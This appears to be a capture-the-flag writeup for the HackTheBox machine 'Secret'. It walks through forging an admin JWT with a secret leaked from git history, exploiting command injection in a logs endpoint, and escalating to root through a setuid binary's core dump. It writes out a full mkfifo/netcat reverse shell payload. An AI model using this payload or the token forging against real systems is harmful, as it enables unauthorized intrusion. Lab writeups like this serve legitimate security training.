Secret HackTheBox Writeup
Scanning
We run nmap on all ports with scripts and software versions.
Enumeration
We find the API documentation, we have to authenticate using a JWT.
If we try to access without a token, we see that we do not have access to the resource.
If we check the site, there is a link that allows us to download the code.
To get to the point, the file “private.js” shows the role and username of the administrator user of the application.
Using the authentication example from the documentation above, we see that the user “theadmin” is registered with the e-mail address “root@dasith.works”:
We register a user.
We decode the JWT and see the data it contains.
We access the previous resource, but we still cannot access it because we are a user with a low privilege role.
We continue with the enumeration, we identify a “.git” and we see that they have made some modification in the “.env” file.
We retrieve the file and read its contents, we find the “token_secret”. This token would allow us to modify our JWT and be able to make arbitrary modifications on it.
We add the attribute “role”: “admin” and change our user to “theadmin” in our cookie and authenticate, we check that now it works and we have access as the user “theadmin”.
Exploitation
Reviewing the sections of the site, we see that the resource “logs?file=” is vulnerable to Command Injection:
We can exploit this vulnerability to read the “user.txt” file.
We use the following payload to gain access (remember to encode it in URL), put a netcat listening and send the request from Burp.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
We list an uncommon setuid binary named “/opt/count”.
We see that the resource has the permissions of the root user.
We launch dirsearch, we will list the file “installer/subiquity-server-debug.log”, it contains the hashed credentials of the users used in the application.
We tried to crack the hash of the user “dasith”, but failed. So we will put our public key in the user’s “authorized_keys” file and authenticate with our private key through the SSH service.
Privilege Escalation
Now we execute this statement to cause the crashes and to store in the report log the root flag.
We check the “CoreDump” file and see that the root flag is in it.
